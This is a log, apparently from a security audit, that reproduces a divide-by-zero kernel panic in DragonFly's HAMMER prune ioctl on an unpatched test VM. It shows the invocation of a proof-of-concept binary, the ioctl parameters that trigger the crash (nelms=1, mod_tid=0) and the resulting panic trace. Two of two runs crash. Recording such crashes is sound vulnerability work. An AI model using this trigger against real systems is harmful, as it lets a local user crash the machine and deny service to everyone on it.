DF-0910 BASELINE REPRODUCTION — unpatched #0 kernel
====================================================

Guest: DragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026
Kernel: X86_64_GENERIC (INVARIANTS on, SMAP/SMEP/KASLR off — per audit env)

Run 1 (vm.sh run_root 'cd /root/poc_df910 && ./prune_div0 /df910'):
  [*] seeding deleted records on /df910 ...
  [*] issuing HAMMER_IOC_PRUNE nelms=1 mod_tid=0 on fd 3 ...
  [*] if the bug is present, the kernel will now #DE (panic).
  (ssh session timed out — kernel panicked)

  boot.log:
  HAMMER(df910) mounted clean, no recovery needed
  Fatal trap 18: integer divide fault while in kernel mode
  cpuid = 0; lapic id = 0
  instruction pointer = 0x8:0xffffffff8094bcfb
  stack pointer           = 0x10:0xfffff80117f97318
  frame pointer           = 0x10:0xfffff80117f97478
  kernel: type 18 trap, code=0
  Stopped at      hammer_ioc_prune+0x31b: divq    %r9,%eax
  db>

Run 2 (identical invocation, fresh vm.sh reset with-src):
  Identical result — ssh timed out, same panic signature in boot.log:
  Stopped at      hammer_ioc_prune+0x31b: divq    %r9,%eax

Determinism: 2/2 runs panicked at the same instruction.